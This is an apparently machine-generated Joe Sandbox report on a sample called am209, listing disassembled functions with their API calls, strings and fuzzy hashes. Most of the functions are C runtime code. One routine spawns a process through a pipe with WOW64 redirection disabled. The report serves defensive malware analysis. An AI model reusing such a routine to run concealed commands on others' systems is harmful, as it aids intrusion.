Download Yara Rule

APIs

Part of subcall function 00156CF0: GetLastError.KERNEL32(?,?,?,0014E157,?,?,?,?,0014EFF2,?), ref: 00156CF5
Part of subcall function 00156CF0: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,0014E157,?,?,?,?,0014EFF2,?), ref: 00156D93

GetACP.KERNEL32(?,?,?,?,?,?,001550F7,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 00162107
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,001550F7,?,?,?,00000055,?,-00000050,?,?), ref: 00162132
_wcschr.LIBVCRUNTIME ref: 001621C6
_wcschr.LIBVCRUNTIME ref: 001621D4
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 00162295

Strings

utf8, xrefs: 00162204

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: ErrorLast_wcschr$CodeInfoLocalePageValid
String ID: utf8
API String ID: 4147378913-905460609
Opcode ID: 9584c2b2e5d5b0f041fa35509c2589d85fc4cad95da8f5cd43e0e0ebc08dc329
Instruction ID: cb476f1a3c74a7f349e3c79051e5520456be8c23790794415790bf85e8ff819a
Opcode Fuzzy Hash: 9584c2b2e5d5b0f041fa35509c2589d85fc4cad95da8f5cd43e0e0ebc08dc329
Instruction Fuzzy Hash: 17714772A00B02AAE725AB75DC42FBB73A8EF59700F14442DFA19DB181EB71DD60C761

Function 001627D2 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,2000000B,00162AF0,00000002,00000000,?,?,?,00162AF0,?,00000000), ref: 0016286B
GetLocaleInfoW.KERNEL32(00000000,20001004,00162AF0,00000002,00000000,?,?,?,00162AF0,?,00000000), ref: 00162894
GetACP.KERNEL32(?,?,00162AF0,?,00000000), ref: 001628A9

Strings

ACP, xrefs: 001627F0
OCP, xrefs: 00162826

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: feeb1f17eb981c1e1e6fd785171e3c57439064285e12f95e9e8d63e714963d9d
Instruction ID: 3192367fdb1475fd85c8a621b1fec16f0cea03fc986661f673f0325c643c0892
Opcode Fuzzy Hash: feeb1f17eb981c1e1e6fd785171e3c57439064285e12f95e9e8d63e714963d9d
Instruction Fuzzy Hash: 8421B332B00901AADB388F65CD05B9773EEBF60B54B668464ED0ADB204E732DD50C390

Function 0015E8AE Relevance: 7.8, APIs: 5, Instructions: 330timeCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0015E96B
_free.LIBCMT ref: 0015EB37
_free.LIBCMT ref: 0015EBAF
GetTimeZoneInformation.KERNEL32(?,?,00000000,?,?,00000000,?,?,?,?,?,?,0015ED70,?,?,00000000), ref: 0015EBC1

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: _free$InformationTimeZone
String ID:
API String ID: 597776487-0
Opcode ID: cc026577410276569cf2ccf387656ac4bf6a777a80b6c4b37af801f4bca28c96
Instruction ID: aa602e7c65e729dbc8ab472c582a97f739dd354a4fac1aa0b1f0d08146be3559
Opcode Fuzzy Hash: cc026577410276569cf2ccf387656ac4bf6a777a80b6c4b37af801f4bca28c96
Instruction Fuzzy Hash: B1A1E471D00215EBDB18AFB48C42AAEBBF9EF14311F144169FC25AF191E7709F498B90

Function 001629A7 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00156CF0: GetLastError.KERNEL32(?,?,?,0014E157,?,?,?,?,0014EFF2,?), ref: 00156CF5
Part of subcall function 00156CF0: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,0014E157,?,?,?,?,0014EFF2,?), ref: 00156D93

Part of subcall function 00156CF0: _free.LIBCMT ref: 00156D52
Part of subcall function 00156CF0: _free.LIBCMT ref: 00156D88

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 00162AB3
IsValidCodePage.KERNEL32(00000000), ref: 00162AFC
IsValidLocale.KERNEL32(?,00000001), ref: 00162B0B
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00162B53
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00162B72

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
String ID:
API String ID: 949163717-0
Opcode ID: 91597a748887d5292128d7f347f7b8da7e513bfd07670f33cb0776271de828ea
Instruction ID: 1baa290d7e13149a0f1908751f8fb6103576d98077170b103173e677a855215e
Opcode Fuzzy Hash: 91597a748887d5292128d7f347f7b8da7e513bfd07670f33cb0776271de828ea
Instruction Fuzzy Hash: B051B172A00A06AFDB20DFE5CC45ABE77B8FF18700F184429F914EB691E7B09954CB61

Function 001293D0 Relevance: 6.2, APIs: 4, Instructions: 181COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,63240FED,0000000F,00000000), ref: 0012944A

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 8925e00806911221fc7f0734482c403b3331ff70f3d90e83a5c5c000e3f26aee
Instruction ID: c703ab4a018d8f597b9922d369c2e8baf2de46b33a1a1308f96a2fa29e194dc6
Opcode Fuzzy Hash: 8925e00806911221fc7f0734482c403b3331ff70f3d90e83a5c5c000e3f26aee
Instruction Fuzzy Hash: F4612970E04258ABDF20EB6CED567ADBB70AB51324F50028DE405A72C2D7744BD48BC2

Function 0014A3C5 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0014A3D1
IsDebuggerPresent.KERNEL32 ref: 0014A49D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0014A4BD
UnhandledExceptionFilter.KERNEL32(?), ref: 0014A4C7

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 9542d43744be3c1721895ffbf8702f2370689b2712a95dc4ec935c550cb33d99
Instruction ID: 7a4484adbc853687cf2d2d59bd4ff0411ad26a9636538cf5e964274d7e10a4d8
Opcode Fuzzy Hash: 9542d43744be3c1721895ffbf8702f2370689b2712a95dc4ec935c550cb33d99
Instruction Fuzzy Hash: D5312775D4521CDBDB20DFA4D989BCDBBB8BF08300F5041AAE50DAB260EB709A85CF45

Function 00128280 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 257pipeprocessfileCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000080,?), ref: 0012832D
CreatePipe.KERNEL32(00000000,00000000,0000000C,00000000), ref: 00128403
SetHandleInformation.KERNEL32(00000000,00000001,00000000), ref: 00128415
Wow64DisableWow64FsRedirection.KERNEL32(?), ref: 00128459
CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000001,00000000,00000000,?,00000044,?), ref: 00128481
Wow64RevertWow64FsRedirection.KERNEL32(00000000), ref: 0012848F
WaitForSingleObject.KERNEL32(?,00000064), ref: 001284B8
PeekNamedPipe.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 001284DA
PeekNamedPipe.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 001284FE
ReadFile.KERNEL32(00000000,?,0000007F,00000000,00000000), ref: 00128525
PeekNamedPipe.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000), ref: 0012856A
CloseHandle.KERNEL32(?), ref: 00128581
CloseHandle.KERNEL32(?), ref: 00128589
CloseHandle.KERNEL32(00000000), ref: 00128591
CloseHandle.KERNEL32(00000000), ref: 00128599
GetLastError.KERNEL32 ref: 001285A3

Strings

D, xrefs: 001283BC

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: Handle$ClosePipeWow64$NamedPeek$CreateRedirection$DisableErrorFileInformationLastObjectPathProcessReadRevertSingleTempWait
String ID: D
API String ID: 3215130363-2746444292
Opcode ID: c95db104e7bb1d54b9d76c19e47e34461f125f83e139ad5ef6670d153979a720
Instruction ID: d2f4560757ceecd69c5eff818d5c0c1db9519fe8e8232167b7b63bbaae6b3770
Opcode Fuzzy Hash: c95db104e7bb1d54b9d76c19e47e34461f125f83e139ad5ef6670d153979a720
Instruction Fuzzy Hash: 1DA17E71D41269ABEB20DB64DC46FDDBBB9BB04700F1041E5FA08A6290DB75AEC4CF90

Function 0015FFAF Relevance: 25.9, APIs: 17, Instructions: 411COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0015FFD9
_free.LIBCMT ref: 001600B2
_free.LIBCMT ref: 001600DF

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: 1c7d5b7682f849dc615e5fd72ef8c93dcacacd0de2df1a03e148f8ab0f98ba45
Instruction ID: bd20dd81d661accb14795f9da5074d3513b9e22d229aaf6507fd46f84d3090e5
Opcode Fuzzy Hash: 1c7d5b7682f849dc615e5fd72ef8c93dcacacd0de2df1a03e148f8ab0f98ba45
Instruction Fuzzy Hash: 52D10671A00305AFDB26AFB48C81A7F77A8EF19310F15416DFD21AB281EB71DA64C791

Function 00152983 Relevance: 22.9, APIs: 15, Instructions: 357COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 001529F2
_free.LIBCMT ref: 00152A08
_free.LIBCMT ref: 00152A1B
_free.LIBCMT ref: 00152A30
_free.LIBCMT ref: 00152A45
GetCPInfo.KERNEL32(?,?), ref: 00152A8F

Part of subcall function 0015C0A3: _free.LIBCMT ref: 0015C10E

_free.LIBCMT ref: 00152CFA
_free.LIBCMT ref: 00152D0D
_free.LIBCMT ref: 00152D1B
_free.LIBCMT ref: 00152D26
_free.LIBCMT ref: 00152D68
_free.LIBCMT ref: 00152D70
_free.LIBCMT ref: 00152D76
_free.LIBCMT ref: 00152D7E
_free.LIBCMT ref: 00152D8C

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: cb7f769d7205d1934d689400f5c5a82ae4219e90bf05bd08742f489916e251ac
Instruction ID: 8a1210639e186f3520a0cc42fd0e2c0c520aa8880c5721b1680cb31063928ab5
Opcode Fuzzy Hash: cb7f769d7205d1934d689400f5c5a82ae4219e90bf05bd08742f489916e251ac
Instruction Fuzzy Hash: D2D18072D00205DFDB21DFA8C881BEEBBB5BF19301F144129E865AB282DB75A949CB50

Function 0014991A Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(00188FA8,00000FA0,?,?,001498F8), ref: 00149926
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,001498F8), ref: 00149931
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,001498F8), ref: 00149942
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00149954
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00149962
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,001498F8), ref: 00149985
DeleteCriticalSection.KERNEL32(00188FA8,00000007,?,?,001498F8), ref: 001499A1
CloseHandle.KERNEL32(00000000,?,?,001498F8), ref: 001499B1

Strings

kernel32.dll, xrefs: 0014993D
api-ms-win-core-synch-l1-2-0.dll, xrefs: 0014992C
SleepConditionVariableCS, xrefs: 0014994E
WakeAllConditionVariable, xrefs: 0014995A

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: 1a7ba24a667eb50e89aabfe4538ea927ee0bb021b2d8047b408f250c42d388db
Instruction ID: 14bc4f79a193c9d5f9e1feaec0699ab53551656a635a1282e46ad851a1d87e15
Opcode Fuzzy Hash: 1a7ba24a667eb50e89aabfe4538ea927ee0bb021b2d8047b408f250c42d388db
Instruction Fuzzy Hash: 6B01D431685311BBDB211BB8AC0CA2B76B9FF44B99B140019FD09D2AB0DF70C8C08760

Function 0016162D Relevance: 19.6, APIs: 13, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 00161671

Part of subcall function 00160927: _free.LIBCMT ref: 00160944
Part of subcall function 00160927: _free.LIBCMT ref: 00160956
Part of subcall function 00160927: _free.LIBCMT ref: 00160968
Part of subcall function 00160927: _free.LIBCMT ref: 0016097A
Part of subcall function 00160927: _free.LIBCMT ref: 0016098C
Part of subcall function 00160927: _free.LIBCMT ref: 0016099E
Part of subcall function 00160927: _free.LIBCMT ref: 001609B0
Part of subcall function 00160927: _free.LIBCMT ref: 001609C2
Part of subcall function 00160927: _free.LIBCMT ref: 001609D4
Part of subcall function 00160927: _free.LIBCMT ref: 001609E6
Part of subcall function 00160927: _free.LIBCMT ref: 001609F8
Part of subcall function 00160927: _free.LIBCMT ref: 00160A0A
Part of subcall function 00160927: _free.LIBCMT ref: 00160A1C

_free.LIBCMT ref: 00161666

Part of subcall function 001580D6: HeapFree.KERNEL32(00000000,00000000,?,0016107C,?,00000000,?,?,?,0016131F,?,00000007,?,?,001617C4,?), ref: 001580EC
Part of subcall function 001580D6: GetLastError.KERNEL32(?,?,0016107C,?,00000000,?,?,?,0016131F,?,00000007,?,?,001617C4,?,?), ref: 001580FE

_free.LIBCMT ref: 00161688
_free.LIBCMT ref: 0016169D
_free.LIBCMT ref: 001616A8
_free.LIBCMT ref: 001616CA
_free.LIBCMT ref: 001616DD
_free.LIBCMT ref: 001616EB
_free.LIBCMT ref: 001616F6
_free.LIBCMT ref: 0016172E
_free.LIBCMT ref: 00161735
_free.LIBCMT ref: 00161752
_free.LIBCMT ref: 0016176A

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 530cfa403341b466db0d63f247bdcaa73a8968660418b4de9b926f181ad3c8f1
Instruction ID: ddf20a18a6120b081a317e8f29981e3f3f5b4bf2df84647e47d01484f1e8132d
Opcode Fuzzy Hash: 530cfa403341b466db0d63f247bdcaa73a8968660418b4de9b926f181ad3c8f1
Instruction Fuzzy Hash: AC312C32A01201EFEB31AE39DC45B5A77EABF10351F184419F869EB191DFB1EC688B50

Function 00160A25 Relevance: 18.4, APIs: 12, Instructions: 373COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00160A6D
_free.LIBCMT ref: 00160A91
_free.LIBCMT ref: 00160A9E
_free.LIBCMT ref: 00160AC3
_free.LIBCMT ref: 00160AD0
_free.LIBCMT ref: 00160AD9
_free.LIBCMT ref: 00160DB3
_free.LIBCMT ref: 00160DBB

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: ac6156dd88a1911954b87bc9154ddf293bdb555d76df66aaddd1c18971083009
Instruction ID: 75663a035c716c3692026faad9d7ddc312e23322af594c1712d27fd60169b3a8
Opcode Fuzzy Hash: ac6156dd88a1911954b87bc9154ddf293bdb555d76df66aaddd1c18971083009
Instruction Fuzzy Hash: A0C10076D40204EFDB20DEA8CC42FAF77E8AB18751F154165FE15FB282D6B0E9449BA0

Function 0015B44D Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

Strings

, xrefs: 0015B6EE, 0015B6F3

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3907804496
Opcode ID: 42f0f5029b82e7ed166223ac0a412f15ee59acf4c27d147c6ffb392dd1ae31ff
Instruction ID: d2d97fabb1c720fea08730572c253c1b2f6c7afa65a1039ce65b354e39c3a07f
Opcode Fuzzy Hash: 42f0f5029b82e7ed166223ac0a412f15ee59acf4c27d147c6ffb392dd1ae31ff
Instruction Fuzzy Hash: D6C1E270E08245EFDB15DFA8C8C1BADBBB1BF59302F144058ED60AF292D7349989CB60

Function 0014CC42 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 0014CD3F
type_info::operator==.LIBVCRUNTIME ref: 0014CD61
___TypeMatch.LIBVCRUNTIME ref: 0014CE70
IsInExceptionSpec.LIBVCRUNTIME ref: 0014CF42
_UnwindNestedFrames.LIBCMT ref: 0014CFC6
CallUnexpected.LIBVCRUNTIME ref: 0014CFE1

Strings

csm, xrefs: 0014CD98
csm, xrefs: 0014CC7F
csm, xrefs: 0014CCEC

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: ce62c6b5fc55aea8c437d44f863c233eb5f244c5e73ab44cf99612f871d52ac8
Instruction ID: 57eee9a4d646db4e0857215e677166af8604717e51ff4f812699c6429ddd25c6
Opcode Fuzzy Hash: ce62c6b5fc55aea8c437d44f863c233eb5f244c5e73ab44cf99612f871d52ac8
Instruction Fuzzy Hash: C8B16971C02209AFCF59DFA4C8819AEBBB6FF14310B144169E8156B222D735EA55CFE1

Function 00156BD8 Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00156BEE

Part of subcall function 001580D6: HeapFree.KERNEL32(00000000,00000000,?,0016107C,?,00000000,?,?,?,0016131F,?,00000007,?,?,001617C4,?), ref: 001580EC
Part of subcall function 001580D6: GetLastError.KERNEL32(?,?,0016107C,?,00000000,?,?,?,0016131F,?,00000007,?,?,001617C4,?,?), ref: 001580FE

_free.LIBCMT ref: 00156BFA
_free.LIBCMT ref: 00156C05
_free.LIBCMT ref: 00156C10
_free.LIBCMT ref: 00156C1B
_free.LIBCMT ref: 00156C26
_free.LIBCMT ref: 00156C31
_free.LIBCMT ref: 00156C3C
_free.LIBCMT ref: 00156C47
_free.LIBCMT ref: 00156C55

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b0558f9f6b6c348ebedb4caac498867c7f72c80c69d5a4b3436dab17575a9cdd
Instruction ID: 33e6117a2db6245ffd0058b08f67348a45df890935b10d89962b9ea55b84395e
Opcode Fuzzy Hash: b0558f9f6b6c348ebedb4caac498867c7f72c80c69d5a4b3436dab17575a9cdd
Instruction Fuzzy Hash: 4C21877690010CEFCB41EF94C981DDE7BB9BF18351B4081A5B925AF161EB72DA488B80

Function 00160E44 Relevance: 13.7, APIs: 9, Instructions: 199COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00160EB2
_free.LIBCMT ref: 00160EBE
_free.LIBCMT ref: 00160FE7
_free.LIBCMT ref: 00160FF2

Memory Dump Source

Source File: 0000000A.00000002.1963643634.0000000000121000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00120000, based on PE: true

Associated: 0000000A.00000002.1963154790.0000000000120000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1963997307.0000000000171000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964034127.0000000000186000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000A.00000002.1964084379.000000000018D000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_120000_am209.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 4aae6413f67e1e9339842f78dc0317726ff6318f8462f85de9d1bb9571e69a2d
Instruction ID: cdfcb5241f75edfc7d67b1ee51da4675451aed26c36bc85ffa32335cd975b1e4
Opcode Fuzzy Hash: 4aae6413f67e1e9339842f78dc0317726ff6318f8462f85de9d1bb9571e69a2d
Instruction Fuzzy Hash: D561DE72900301EFDB21DF68CC41BABB7E9EB58311F244559F865AB281EB70ED448B90

Function 00148CA3 Relevance: 13.6, APIs: 9, Instructions: 139threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00148CCB
GetCurrentThreadId.KERNEL32 ref: 00148CE8
GetCurrentThreadId.KERNEL32 ref: 00148CFD
_xtime_get.LIBCPMT ref: 00148D83
GetCurrentThreadId.KERNEL32 ref: 00148DAD
